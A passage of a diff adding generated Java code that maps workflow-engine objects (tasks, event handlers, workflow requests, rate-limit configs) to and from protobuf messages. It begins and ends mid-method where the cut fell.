fromProto(DynamicForkJoinTaskPb.DynamicForkJoinTask from) { + DynamicForkJoinTask to = new DynamicForkJoinTask(); + to.setTaskName( from.getTaskName() ); + to.setWorkflowName( from.getWorkflowName() ); + to.setReferenceName( from.getReferenceName() ); + Map inputMap = new HashMap(); + for (Map.Entry pair : from.getInputMap().entrySet()) { + inputMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setInput(inputMap); + to.setType( from.getType() ); + return to; + } + + public DynamicForkJoinTaskListPb.DynamicForkJoinTaskList toProto(DynamicForkJoinTaskList from) { + DynamicForkJoinTaskListPb.DynamicForkJoinTaskList.Builder to = DynamicForkJoinTaskListPb.DynamicForkJoinTaskList.newBuilder(); + for (DynamicForkJoinTask elem : from.getDynamicTasks()) { + to.addDynamicTasks( toProto(elem) ); + } + return to.build(); + } + + public DynamicForkJoinTaskList fromProto( + DynamicForkJoinTaskListPb.DynamicForkJoinTaskList from) { + DynamicForkJoinTaskList to = new DynamicForkJoinTaskList(); + to.setDynamicTasks( from.getDynamicTasksList().stream().map(this::fromProto).collect(Collectors.toCollection(ArrayList::new)) ); + return to; + } + + public EventExecutionPb.EventExecution toProto(EventExecution from) { + EventExecutionPb.EventExecution.Builder to = EventExecutionPb.EventExecution.newBuilder(); + if (from.getId() != null) { + to.setId( from.getId() ); + } + if (from.getMessageId() != null) { + to.setMessageId( from.getMessageId() ); + } + if (from.getName() != null) { + to.setName( from.getName() ); + } + if (from.getEvent() != null) { + to.setEvent( from.getEvent() ); + } + to.setCreated( from.getCreated() ); + if (from.getStatus() != null) { + to.setStatus( toProto( from.getStatus() ) ); + } + if (from.getAction() != null) { + to.setAction( toProto( from.getAction() ) ); + } + for (Map.Entry pair : from.getOutput().entrySet()) { + to.putOutput( pair.getKey(), toProto( pair.getValue() ) ); + } + return to.build(); + } + + public EventExecution fromProto(EventExecutionPb.EventExecution from) { + EventExecution to = new EventExecution(); + to.setId( from.getId() ); + to.setMessageId( from.getMessageId() ); + to.setName( from.getName() ); + to.setEvent( from.getEvent() ); + to.setCreated( from.getCreated() ); + to.setStatus( fromProto( from.getStatus() ) ); + to.setAction( fromProto( from.getAction() ) ); + Map outputMap = new HashMap(); + for (Map.Entry pair : from.getOutputMap().entrySet()) { + outputMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setOutput(outputMap); + return to; + } + + public EventExecutionPb.EventExecution.Status toProto(EventExecution.Status from) { + EventExecutionPb.EventExecution.Status to; + switch (from) { + case IN_PROGRESS: to = EventExecutionPb.EventExecution.Status.IN_PROGRESS; break; + case COMPLETED: to = EventExecutionPb.EventExecution.Status.COMPLETED; break; + case FAILED: to = EventExecutionPb.EventExecution.Status.FAILED; break; + case SKIPPED: to = EventExecutionPb.EventExecution.Status.SKIPPED; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public EventExecution.Status fromProto(EventExecutionPb.EventExecution.Status from) { + EventExecution.Status to; + switch (from) { + case IN_PROGRESS: to = EventExecution.Status.IN_PROGRESS; break; + case COMPLETED: to = EventExecution.Status.COMPLETED; break; + case FAILED: to = EventExecution.Status.FAILED; break; + case SKIPPED: to = EventExecution.Status.SKIPPED; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public EventHandlerPb.EventHandler toProto(EventHandler from) { + EventHandlerPb.EventHandler.Builder to = EventHandlerPb.EventHandler.newBuilder(); + if (from.getName() != null) { + to.setName( from.getName() ); + } + if (from.getEvent() != null) { + to.setEvent( from.getEvent() ); + } + if (from.getCondition() != null) { + to.setCondition( from.getCondition() ); + } + for (EventHandler.Action elem : from.getActions()) { + to.addActions( toProto(elem) ); + } + to.setActive( from.isActive() ); + if (from.getEvaluatorType() != null) { + to.setEvaluatorType( from.getEvaluatorType() ); + } + return to.build(); + } + + public EventHandler fromProto(EventHandlerPb.EventHandler from) { + EventHandler to = new EventHandler(); + to.setName( from.getName() ); + to.setEvent( from.getEvent() ); + to.setCondition( from.getCondition() ); + to.setActions( from.getActionsList().stream().map(this::fromProto).collect(Collectors.toCollection(ArrayList::new)) ); + to.setActive( from.getActive() ); + to.setEvaluatorType( from.getEvaluatorType() ); + return to; + } + + public EventHandlerPb.EventHandler.UpdateWorkflowVariables toProto( + EventHandler.UpdateWorkflowVariables from) { + EventHandlerPb.EventHandler.UpdateWorkflowVariables.Builder to = EventHandlerPb.EventHandler.UpdateWorkflowVariables.newBuilder(); + if (from.getWorkflowId() != null) { + to.setWorkflowId( from.getWorkflowId() ); + } + for (Map.Entry pair : from.getVariables().entrySet()) { + to.putVariables( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.isAppendArray() != null) { + to.setAppendArray( from.isAppendArray() ); + } + return to.build(); + } + + public EventHandler.UpdateWorkflowVariables fromProto( + EventHandlerPb.EventHandler.UpdateWorkflowVariables from) { + EventHandler.UpdateWorkflowVariables to = new EventHandler.UpdateWorkflowVariables(); + to.setWorkflowId( from.getWorkflowId() ); + Map variablesMap = new HashMap(); + for (Map.Entry pair : from.getVariablesMap().entrySet()) { + variablesMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setVariables(variablesMap); + to.setAppendArray( from.getAppendArray() ); + return to; + } + + public EventHandlerPb.EventHandler.TerminateWorkflow toProto( + EventHandler.TerminateWorkflow from) { + EventHandlerPb.EventHandler.TerminateWorkflow.Builder to = EventHandlerPb.EventHandler.TerminateWorkflow.newBuilder(); + if (from.getWorkflowId() != null) { + to.setWorkflowId( from.getWorkflowId() ); + } + if (from.getTerminationReason() != null) { + to.setTerminationReason( from.getTerminationReason() ); + } + return to.build(); + } + + public EventHandler.TerminateWorkflow fromProto( + EventHandlerPb.EventHandler.TerminateWorkflow from) { + EventHandler.TerminateWorkflow to = new EventHandler.TerminateWorkflow(); + to.setWorkflowId( from.getWorkflowId() ); + to.setTerminationReason( from.getTerminationReason() ); + return to; + } + + public EventHandlerPb.EventHandler.StartWorkflow toProto(EventHandler.StartWorkflow from) { + EventHandlerPb.EventHandler.StartWorkflow.Builder to = EventHandlerPb.EventHandler.StartWorkflow.newBuilder(); + if (from.getName() != null) { + to.setName( from.getName() ); + } + if (from.getVersion() != null) { + to.setVersion( from.getVersion() ); + } + if (from.getCorrelationId() != null) { + to.setCorrelationId( from.getCorrelationId() ); + } + for (Map.Entry pair : from.getInput().entrySet()) { + to.putInput( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.getInputMessage() != null) { + to.setInputMessage( toProto( from.getInputMessage() ) ); + } + to.putAllTaskToDomain( from.getTaskToDomain() ); + return to.build(); + } + + public EventHandler.StartWorkflow fromProto(EventHandlerPb.EventHandler.StartWorkflow from) { + EventHandler.StartWorkflow to = new EventHandler.StartWorkflow(); + to.setName( from.getName() ); + to.setVersion( from.getVersion() ); + to.setCorrelationId( from.getCorrelationId() ); + Map inputMap = new HashMap(); + for (Map.Entry pair : from.getInputMap().entrySet()) { + inputMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setInput(inputMap); + if (from.hasInputMessage()) { + to.setInputMessage( fromProto( from.getInputMessage() ) ); + } + to.setTaskToDomain( from.getTaskToDomainMap() ); + return to; + } + + public EventHandlerPb.EventHandler.TaskDetails toProto(EventHandler.TaskDetails from) { + EventHandlerPb.EventHandler.TaskDetails.Builder to = EventHandlerPb.EventHandler.TaskDetails.newBuilder(); + if (from.getWorkflowId() != null) { + to.setWorkflowId( from.getWorkflowId() ); + } + if (from.getTaskRefName() != null) { + to.setTaskRefName( from.getTaskRefName() ); + } + for (Map.Entry pair : from.getOutput().entrySet()) { + to.putOutput( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.getOutputMessage() != null) { + to.setOutputMessage( toProto( from.getOutputMessage() ) ); + } + if (from.getTaskId() != null) { + to.setTaskId( from.getTaskId() ); + } + if (from.getReasonForIncompletion() != null) { + to.setReasonForIncompletion( from.getReasonForIncompletion() ); + } + return to.build(); + } + + public EventHandler.TaskDetails fromProto(EventHandlerPb.EventHandler.TaskDetails from) { + EventHandler.TaskDetails to = new EventHandler.TaskDetails(); + to.setWorkflowId( from.getWorkflowId() ); + to.setTaskRefName( from.getTaskRefName() ); + Map outputMap = new HashMap(); + for (Map.Entry pair : from.getOutputMap().entrySet()) { + outputMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setOutput(outputMap); + if (from.hasOutputMessage()) { + to.setOutputMessage( fromProto( from.getOutputMessage() ) ); + } + to.setTaskId( from.getTaskId() ); + to.setReasonForIncompletion( from.getReasonForIncompletion() ); + return to; + } + + public EventHandlerPb.EventHandler.Action toProto(EventHandler.Action from) { + EventHandlerPb.EventHandler.Action.Builder to = EventHandlerPb.EventHandler.Action.newBuilder(); + if (from.getAction() != null) { + to.setAction( toProto( from.getAction() ) ); + } + if (from.getStart_workflow() != null) { + to.setStartWorkflow( toProto( from.getStart_workflow() ) ); + } + if (from.getComplete_task() != null) { + to.setCompleteTask( toProto( from.getComplete_task() ) ); + } + if (from.getFail_task() != null) { + to.setFailTask( toProto( from.getFail_task() ) ); + } + to.setExpandInlineJson( from.isExpandInlineJSON() ); + if (from.getTerminate_workflow() != null) { + to.setTerminateWorkflow( toProto( from.getTerminate_workflow() ) ); + } + if (from.getUpdate_workflow_variables() != null) { + to.setUpdateWorkflowVariables( toProto( from.getUpdate_workflow_variables() ) ); + } + return to.build(); + } + + public EventHandler.Action fromProto(EventHandlerPb.EventHandler.Action from) { + EventHandler.Action to = new EventHandler.Action(); + to.setAction( fromProto( from.getAction() ) ); + if (from.hasStartWorkflow()) { + to.setStart_workflow( fromProto( from.getStartWorkflow() ) ); + } + if (from.hasCompleteTask()) { + to.setComplete_task( fromProto( from.getCompleteTask() ) ); + } + if (from.hasFailTask()) { + to.setFail_task( fromProto( from.getFailTask() ) ); + } + to.setExpandInlineJSON( from.getExpandInlineJson() ); + if (from.hasTerminateWorkflow()) { + to.setTerminate_workflow( fromProto( from.getTerminateWorkflow() ) ); + } + if (from.hasUpdateWorkflowVariables()) { + to.setUpdate_workflow_variables( fromProto( from.getUpdateWorkflowVariables() ) ); + } + return to; + } + + public EventHandlerPb.EventHandler.Action.Type toProto(EventHandler.Action.Type from) { + EventHandlerPb.EventHandler.Action.Type to; + switch (from) { + case start_workflow: to = EventHandlerPb.EventHandler.Action.Type.START_WORKFLOW; break; + case complete_task: to = EventHandlerPb.EventHandler.Action.Type.COMPLETE_TASK; break; + case fail_task: to = EventHandlerPb.EventHandler.Action.Type.FAIL_TASK; break; + case terminate_workflow: to = EventHandlerPb.EventHandler.Action.Type.TERMINATE_WORKFLOW; break; + case update_workflow_variables: to = EventHandlerPb.EventHandler.Action.Type.UPDATE_WORKFLOW_VARIABLES; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public EventHandler.Action.Type fromProto(EventHandlerPb.EventHandler.Action.Type from) { + EventHandler.Action.Type to; + switch (from) { + case START_WORKFLOW: to = EventHandler.Action.Type.start_workflow; break; + case COMPLETE_TASK: to = EventHandler.Action.Type.complete_task; break; + case FAIL_TASK: to = EventHandler.Action.Type.fail_task; break; + case TERMINATE_WORKFLOW: to = EventHandler.Action.Type.terminate_workflow; break; + case UPDATE_WORKFLOW_VARIABLES: to = EventHandler.Action.Type.update_workflow_variables; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public ExecutionMetadataPb.ExecutionMetadata toProto(ExecutionMetadata from) { + ExecutionMetadataPb.ExecutionMetadata.Builder to = ExecutionMetadataPb.ExecutionMetadata.newBuilder(); + if (from.getServerSendTime() != null) { + to.setServerSendTime( from.getServerSendTime() ); + } + if (from.getClientReceiveTime() != null) { + to.setClientReceiveTime( from.getClientReceiveTime() ); + } + if (from.getExecutionStartTime() != null) { + to.setExecutionStartTime( from.getExecutionStartTime() ); + } + if (from.getExecutionEndTime() != null) { + to.setExecutionEndTime( from.getExecutionEndTime() ); + } + if (from.getClientSendTime() != null) { + to.setClientSendTime( from.getClientSendTime() ); + } + if (from.getPollNetworkLatency() != null) { + to.setPollNetworkLatency( from.getPollNetworkLatency() ); + } + if (from.getUpdateNetworkLatency() != null) { + to.setUpdateNetworkLatency( from.getUpdateNetworkLatency() ); + } + for (Map.Entry pair : from.getAdditionalContext().entrySet()) { + to.putAdditionalContext( pair.getKey(), toProto( pair.getValue() ) ); + } + return to.build(); + } + + public ExecutionMetadata fromProto(ExecutionMetadataPb.ExecutionMetadata from) { + ExecutionMetadata to = new ExecutionMetadata(); + to.setServerSendTime( from.getServerSendTime() ); + to.setClientReceiveTime( from.getClientReceiveTime() ); + to.setExecutionStartTime( from.getExecutionStartTime() ); + to.setExecutionEndTime( from.getExecutionEndTime() ); + to.setClientSendTime( from.getClientSendTime() ); + to.setPollNetworkLatency( from.getPollNetworkLatency() ); + to.setUpdateNetworkLatency( from.getUpdateNetworkLatency() ); + Map additionalContextMap = new HashMap(); + for (Map.Entry pair : from.getAdditionalContextMap().entrySet()) { + additionalContextMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setAdditionalContext(additionalContextMap); + return to; + } + + public PollDataPb.PollData toProto(PollData from) { + PollDataPb.PollData.Builder to = PollDataPb.PollData.newBuilder(); + if (from.getQueueName() != null) { + to.setQueueName( from.getQueueName() ); + } + if (from.getDomain() != null) { + to.setDomain( from.getDomain() ); + } + if (from.getWorkerId() != null) { + to.setWorkerId( from.getWorkerId() ); + } + to.setLastPollTime( from.getLastPollTime() ); + return to.build(); + } + + public PollData fromProto(PollDataPb.PollData from) { + PollData to = new PollData(); + to.setQueueName( from.getQueueName() ); + to.setDomain( from.getDomain() ); + to.setWorkerId( from.getWorkerId() ); + to.setLastPollTime( from.getLastPollTime() ); + return to; + } + + public RateLimitConfigPb.RateLimitConfig toProto(RateLimitConfig from) { + RateLimitConfigPb.RateLimitConfig.Builder to = RateLimitConfigPb.RateLimitConfig.newBuilder(); + if (from.getRateLimitKey() != null) { + to.setRateLimitKey( from.getRateLimitKey() ); + } + to.setConcurrentExecLimit( from.getConcurrentExecLimit() ); + if (from.getPolicy() != null) { + to.setPolicy( toProto( from.getPolicy() ) ); + } + return to.build(); + } + + public RateLimitConfig fromProto(RateLimitConfigPb.RateLimitConfig from) { + RateLimitConfig to = new RateLimitConfig(); + to.setRateLimitKey( from.getRateLimitKey() ); + to.setConcurrentExecLimit( from.getConcurrentExecLimit() ); + to.setPolicy( fromProto( from.getPolicy() ) ); + return to; + } + + public RateLimitConfigPb.RateLimitConfig.RateLimitPolicy toProto( + RateLimitConfig.RateLimitPolicy from) { + RateLimitConfigPb.RateLimitConfig.RateLimitPolicy to; + switch (from) { + case QUEUE: to = RateLimitConfigPb.RateLimitConfig.RateLimitPolicy.QUEUE; break; + case REJECT: to = RateLimitConfigPb.RateLimitConfig.RateLimitPolicy.REJECT; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public RateLimitConfig.RateLimitPolicy fromProto( + RateLimitConfigPb.RateLimitConfig.RateLimitPolicy from) { + RateLimitConfig.RateLimitPolicy to; + switch (from) { + case QUEUE: to = RateLimitConfig.RateLimitPolicy.QUEUE; break; + case REJECT: to = RateLimitConfig.RateLimitPolicy.REJECT; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public RerunWorkflowRequestPb.RerunWorkflowRequest toProto(RerunWorkflowRequest from) { + RerunWorkflowRequestPb.RerunWorkflowRequest.Builder to = RerunWorkflowRequestPb.RerunWorkflowRequest.newBuilder(); + if (from.getReRunFromWorkflowId() != null) { + to.setReRunFromWorkflowId( from.getReRunFromWorkflowId() ); + } + for (Map.Entry pair : from.getWorkflowInput().entrySet()) { + to.putWorkflowInput( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.getReRunFromTaskId() != null) { + to.setReRunFromTaskId( from.getReRunFromTaskId() ); + } + for (Map.Entry pair : from.getTaskInput().entrySet()) { + to.putTaskInput( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.getCorrelationId() != null) { + to.setCorrelationId( from.getCorrelationId() ); + } + return to.build(); + } + + public RerunWorkflowRequest fromProto(RerunWorkflowRequestPb.RerunWorkflowRequest from) { + RerunWorkflowRequest to = new RerunWorkflowRequest(); + to.setReRunFromWorkflowId( from.getReRunFromWorkflowId() ); + Map workflowInputMap = new HashMap(); + for (Map.Entry pair : from.getWorkflowInputMap().entrySet()) { + workflowInputMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setWorkflowInput(workflowInputMap); + to.setReRunFromTaskId( from.getReRunFromTaskId() ); + Map taskInputMap = new HashMap(); + for (Map.Entry pair : from.getTaskInputMap().entrySet()) { + taskInputMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setTaskInput(taskInputMap); + to.setCorrelationId( from.getCorrelationId() ); + return to; + } + + public SchemaDefPb.SchemaDef toProto(SchemaDef from) { + SchemaDefPb.SchemaDef.Builder to = SchemaDefPb.SchemaDef.newBuilder(); + if (from.getName() != null) { + to.setName( from.getName() ); + } + to.setVersion( from.getVersion() ); + if (from.getType() != null) { + to.setType( toProto( from.getType() ) ); + } + return to.build(); + } + + public SchemaDef fromProto(SchemaDefPb.SchemaDef from) { + SchemaDef to = new SchemaDef(); + to.setName( from.getName() ); + to.setVersion( from.getVersion() ); + to.setType( fromProto( from.getType() ) ); + return to; + } + + public SchemaDefPb.SchemaDef.Type toProto(SchemaDef.Type from) { + SchemaDefPb.SchemaDef.Type to; + switch (from) { + case JSON: to = SchemaDefPb.SchemaDef.Type.JSON; break; + case AVRO: to = SchemaDefPb.SchemaDef.Type.AVRO; break; + case PROTOBUF: to = SchemaDefPb.SchemaDef.Type.PROTOBUF; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public SchemaDef.Type fromProto(SchemaDefPb.SchemaDef.Type from) { + SchemaDef.Type to; + switch (from) { + case JSON: to = SchemaDef.Type.JSON; break; + case AVRO: to = SchemaDef.Type.AVRO; break; + case PROTOBUF: to = SchemaDef.Type.PROTOBUF; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public SkipTaskRequest fromProto(SkipTaskRequestPb.SkipTaskRequest from) { + SkipTaskRequest to = new SkipTaskRequest(); + Map taskInputMap = new HashMap(); + for (Map.Entry pair : from.getTaskInputMap().entrySet()) { + taskInputMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setTaskInput(taskInputMap); + Map taskOutputMap = new HashMap(); + for (Map.Entry pair : from.getTaskOutputMap().entrySet()) { + taskOutputMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setTaskOutput(taskOutputMap); + if (from.hasTaskInputMessage()) { + to.setTaskInputMessage( fromProto( from.getTaskInputMessage() ) ); + } + if (from.hasTaskOutputMessage()) { + to.setTaskOutputMessage( fromProto( from.getTaskOutputMessage() ) ); + } + return to; + } + + public StartWorkflowRequestPb.StartWorkflowRequest toProto(StartWorkflowRequest from) { + StartWorkflowRequestPb.StartWorkflowRequest.Builder to = StartWorkflowRequestPb.StartWorkflowRequest.newBuilder(); + if (from.getName() != null) { + to.setName( from.getName() ); + } + if (from.getVersion() != null) { + to.setVersion( from.getVersion() ); + } + if (from.getCorrelationId() != null) { + to.setCorrelationId( from.getCorrelationId() ); + } + for (Map.Entry pair : from.getInput().entrySet()) { + to.putInput( pair.getKey(), toProto( pair.getValue() ) ); + } + to.putAllTaskToDomain( from.getTaskToDomain() ); + if (from.getWorkflowDef() != null) { + to.setWorkflowDef( toProto( from.getWorkflowDef() ) ); + } + if (from.getExternalInputPayloadStoragePath() != null) { + to.setExternalInputPayloadStoragePath( from.getExternalInputPayloadStoragePath() ); + } + if (from.getPriority() != null) { + to.setPriority( from.getPriority() ); + } + if (from.getCreatedBy() != null) { + to.setCreatedBy( from.getCreatedBy() ); + } + return to.build(); + } + + public StartWorkflowRequest fromProto(StartWorkflowRequestPb.StartWorkflowRequest from) { + StartWorkflowRequest to = new StartWorkflowRequest(); + to.setName( from.getName() ); + to.setVersion( from.getVersion() ); + to.setCorrelationId( from.getCorrelationId() ); + Map inputMap = new HashMap(); + for (Map.Entry pair : from.getInputMap().entrySet()) { + inputMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setInput(inputMap); + to.setTaskToDomain( from.getTaskToDomainMap() ); + if (from.hasWorkflowDef()) { + to.setWorkflowDef( fromProto( from.getWorkflowDef() ) ); + } + to.setExternalInputPayloadStoragePath( from.getExternalInputPayloadStoragePath() ); + to.setPriority( from.getPriority() ); + to.setCreatedBy( from.getCreatedBy() ); + return to; + } + + public StateChangeEventPb.StateChangeEvent toProto(StateChangeEvent from) { + StateChangeEventPb.StateChangeEvent.Builder to = StateChangeEventPb.StateChangeEvent.newBuilder(); + if (from.getType() != null) { + to.setType( from.getType() ); + } + for (Map.Entry pair : from.getPayload().entrySet()) { + to.putPayload( pair.getKey(), toProto( pair.getValue() ) ); + } + return to.build(); + } + + public StateChangeEvent fromProto(StateChangeEventPb.StateChangeEvent from) { + StateChangeEvent to = new StateChangeEvent(); + to.setType( from.getType() ); + Map payloadMap = new HashMap(); + for (Map.Entry pair : from.getPayloadMap().entrySet()) { + payloadMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setPayload(payloadMap); + return to; + } + + public SubWorkflowParamsPb.SubWorkflowParams toProto(SubWorkflowParams from) { + SubWorkflowParamsPb.SubWorkflowParams.Builder to = SubWorkflowParamsPb.SubWorkflowParams.newBuilder(); + if (from.getName() != null) { + to.setName( from.getName() ); + } + if (from.getVersion() != null) { + to.setVersion( from.getVersion() ); + } + to.putAllTaskToDomain( from.getTaskToDomain() ); + if (from.getWorkflowDefinition() != null) { + to.setWorkflowDefinition( toProto( from.getWorkflowDefinition() ) ); + } + return to.build(); + } + + public SubWorkflowParams fromProto(SubWorkflowParamsPb.SubWorkflowParams from) { + SubWorkflowParams to = new SubWorkflowParams(); + to.setName( from.getName() ); + to.setVersion( from.getVersion() ); + to.setTaskToDomain( from.getTaskToDomainMap() ); + if (from.hasWorkflowDefinition()) { + to.setWorkflowDefinition( fromProto( from.getWorkflowDefinition() ) ); + } + return to; + } + + public TaskPb.Task toProto(Task from) { + TaskPb.Task.Builder to = TaskPb.Task.newBuilder(); + if (from.getTaskType() != null) { + to.setTaskType( from.getTaskType() ); + } + if (from.getStatus() != null) { + to.setStatus( toProto( from.getStatus() ) ); + } + for (Map.Entry pair : from.getInputData().entrySet()) { + to.putInputData( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.getReferenceTaskName() != null) { + to.setReferenceTaskName( from.getReferenceTaskName() ); + } + to.setRetryCount( from.getRetryCount() ); + to.setSeq( from.getSeq() ); + if (from.getCorrelationId() != null) { + to.setCorrelationId( from.getCorrelationId() ); + } + to.setPollCount( from.getPollCount() ); + if (from.getTaskDefName() != null) { + to.setTaskDefName( from.getTaskDefName() ); + } + to.setScheduledTime( from.getScheduledTime() ); + to.setStartTime( from.getStartTime() ); + to.setEndTime( from.getEndTime() ); + to.setUpdateTime( from.getUpdateTime() ); + to.setStartDelayInSeconds( from.getStartDelayInSeconds() ); + if (from.getRetriedTaskId() != null) { + to.setRetriedTaskId( from.getRetriedTaskId() ); + } + to.setRetried( from.isRetried() ); + to.setExecuted( from.isExecuted() ); + to.setCallbackFromWorker( from.isCallbackFromWorker() ); + to.setResponseTimeoutSeconds( from.getResponseTimeoutSeconds() ); + if (from.getWorkflowInstanceId() != null) { + to.setWorkflowInstanceId( from.getWorkflowInstanceId() ); + } + if (from.getWorkflowType() != null) { + to.setWorkflowType( from.getWorkflowType() ); + } + if (from.getTaskId() != null) { + to.setTaskId( from.getTaskId() ); + } + if (from.getReasonForIncompletion() != null) { + to.setReasonForIncompletion( from.getReasonForIncompletion() ); + } + to.setCallbackAfterSeconds( from.getCallbackAfterSeconds() ); + if (from.getWorkerId() != null) { + to.setWorkerId( from.getWorkerId() ); + } + for (Map.Entry pair : from.getOutputData().entrySet()) { + to.putOutputData( pair.getKey(), toProto( pair.getValue() ) ); + } + if (from.getWorkflowTask() != null) { + to.setWorkflowTask( toProto( from.getWorkflowTask() ) ); + } + if (from.getDomain() != null) { + to.setDomain( from.getDomain() ); + } + if (from.getInputMessage() != null) { + to.setInputMessage( toProto( from.getInputMessage() ) ); + } + if (from.getOutputMessage() != null) { + to.setOutputMessage( toProto( from.getOutputMessage() ) ); + } + to.setRateLimitPerFrequency( from.getRateLimitPerFrequency() ); + to.setRateLimitFrequencyInSeconds( from.getRateLimitFrequencyInSeconds() ); + if (from.getExternalInputPayloadStoragePath() != null) { + to.setExternalInputPayloadStoragePath( from.getExternalInputPayloadStoragePath() ); + } + if (from.getExternalOutputPayloadStoragePath() != null) { + to.setExternalOutputPayloadStoragePath( from.getExternalOutputPayloadStoragePath() ); + } + to.setWorkflowPriority( from.getWorkflowPriority() ); + if (from.getExecutionNameSpace() != null) { + to.setExecutionNameSpace( from.getExecutionNameSpace() ); + } + if (from.getIsolationGroupId() != null) { + to.setIsolationGroupId( from.getIsolationGroupId() ); + } + to.setIteration( from.getIteration() ); + if (from.getSubWorkflowId() != null) { + to.setSubWorkflowId( from.getSubWorkflowId() ); + } + to.setSubworkflowChanged( from.isSubworkflowChanged() ); + to.setFirstStartTime( from.getFirstStartTime() ); + if (from.getExecutionMetadata() != null) { + to.setExecutionMetadata( toProto( from.getExecutionMetadata() ) ); + } + if (from.getParentTaskId() != null) { + to.setParentTaskId( from.getParentTaskId() ); + } + return to.build(); + } + + public Task fromProto(TaskPb.Task from) { + Task to = new Task(); + to.setTaskType( from.getTaskType() ); + to.setStatus( fromProto( from.getStatus() ) ); + Map inputDataMap = new HashMap(); + for (Map.Entry pair : from.getInputDataMap().entrySet()) { + inputDataMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setInputData(inputDataMap); + to.setReferenceTaskName( from.getReferenceTaskName() ); + to.setRetryCount( from.getRetryCount() ); + to.setSeq( from.getSeq() ); + to.setCorrelationId( from.getCorrelationId() ); + to.setPollCount( from.getPollCount() ); + to.setTaskDefName( from.getTaskDefName() ); + to.setScheduledTime( from.getScheduledTime() ); + to.setStartTime( from.getStartTime() ); + to.setEndTime( from.getEndTime() ); + to.setUpdateTime( from.getUpdateTime() ); + to.setStartDelayInSeconds( from.getStartDelayInSeconds() ); + to.setRetriedTaskId( from.getRetriedTaskId() ); + to.setRetried( from.getRetried() ); + to.setExecuted( from.getExecuted() ); + to.setCallbackFromWorker( from.getCallbackFromWorker() ); + to.setResponseTimeoutSeconds( from.getResponseTimeoutSeconds() ); + to.setWorkflowInstanceId( from.getWorkflowInstanceId() ); + to.setWorkflowType( from.getWorkflowType() ); + to.setTaskId( from.getTaskId() ); + to.setReasonForIncompletion( from.getReasonForIncompletion() ); + to.setCallbackAfterSeconds( from.getCallbackAfterSeconds() ); + to.setWorkerId( from.getWorkerId() ); + Map outputDataMap = new HashMap(); + for (Map.Entry pair : from.getOutputDataMap().entrySet()) { + outputDataMap.put( pair.getKey(), fromProto( pair.getValue() ) ); + } + to.setOutputData(outputDataMap); + if (from.hasWorkflowTask()) { + to.setWorkflowTask( fromProto( from.getWorkflowTask() ) ); + } + to.setDomain( from.getDomain() ); + if (from.hasInputMessage()) { + to.setInputMessage( fromProto( from.getInputMessage() ) ); + } + if (from.hasOutputMessage()) { + to.setOutputMessage( fromProto( from.getOutputMessage() ) ); + } + to.setRateLimitPerFrequency( from.getRateLimitPerFrequency() ); + to.setRateLimitFrequencyInSeconds( from.getRateLimitFrequencyInSeconds() ); + to.setExternalInputPayloadStoragePath( from.getExternalInputPayloadStoragePath() ); + to.setExternalOutputPayloadStoragePath( from.getExternalOutputPayloadStoragePath() ); + to.setWorkflowPriority( from.getWorkflowPriority() ); + to.setExecutionNameSpace( from.getExecutionNameSpace() ); + to.setIsolationGroupId( from.getIsolationGroupId() ); + to.setIteration( from.getIteration() ); + to.setSubWorkflowId( from.getSubWorkflowId() ); + to.setSubworkflowChanged( from.getSubworkflowChanged() ); + to.setFirstStartTime( from.getFirstStartTime() ); + if (from.hasExecutionMetadata()) { + to.setExecutionMetadata( fromProto( from.getExecutionMetadata() ) ); + } + to.setParentTaskId( from.getParentTaskId() ); + return to; + } + + public TaskPb.Task.Status toProto(Task.Status from) { + TaskPb.Task.Status to; + switch (from) { + case IN_PROGRESS: to = TaskPb.Task.Status.IN_PROGRESS; break; + case CANCELED: to = TaskPb.Task.Status.CANCELED; break; + case FAILED: to = TaskPb.Task.Status.FAILED; break; + case FAILED_WITH_TERMINAL_ERROR: to = TaskPb.Task.Status.FAILED_WITH_TERMINAL_ERROR; break; + case COMPLETED: to = TaskPb.Task.Status.COMPLETED; break; + case COMPLETED_WITH_ERRORS: to = TaskPb.Task.Status.COMPLETED_WITH_ERRORS; break; + case SCHEDULED: to = TaskPb.Task.Status.SCHEDULED; break; + case TIMED_OUT: to = TaskPb.Task.Status.TIMED_OUT; break; + case SKIPPED: to = TaskPb.Task.Status.SKIPPED; break; + default: throw new IllegalArgumentException("Unexpected enum constant: " + from); + } + return to; + } + + public Task.Status fromProto(TaskPb.Task.Status from) { + Task.Status to; + switch (from) { + case IN_PROGRESS: to = Task.Status.IN_PROGRESS; break; + case CANCELED: to = Task.Status.CANCELED; break; + case FAILED: to = Task.Status.FAILED; break; + case FAILED_WITH_TERMINAL_ERROR: to = Task.Status.FAILED_WITH_TERMINAL_ERROR; break; + case COMPLETED: to = Task.Status.COMPLETED; break; + case COMPLETED_WITH_ERRORS: to = Task.Status.COMPLETED_WITH_ERRORS; break; + case SCHEDULED: to = Task.Status.SCHEDULED; break; + case TIMED_OUT: to = 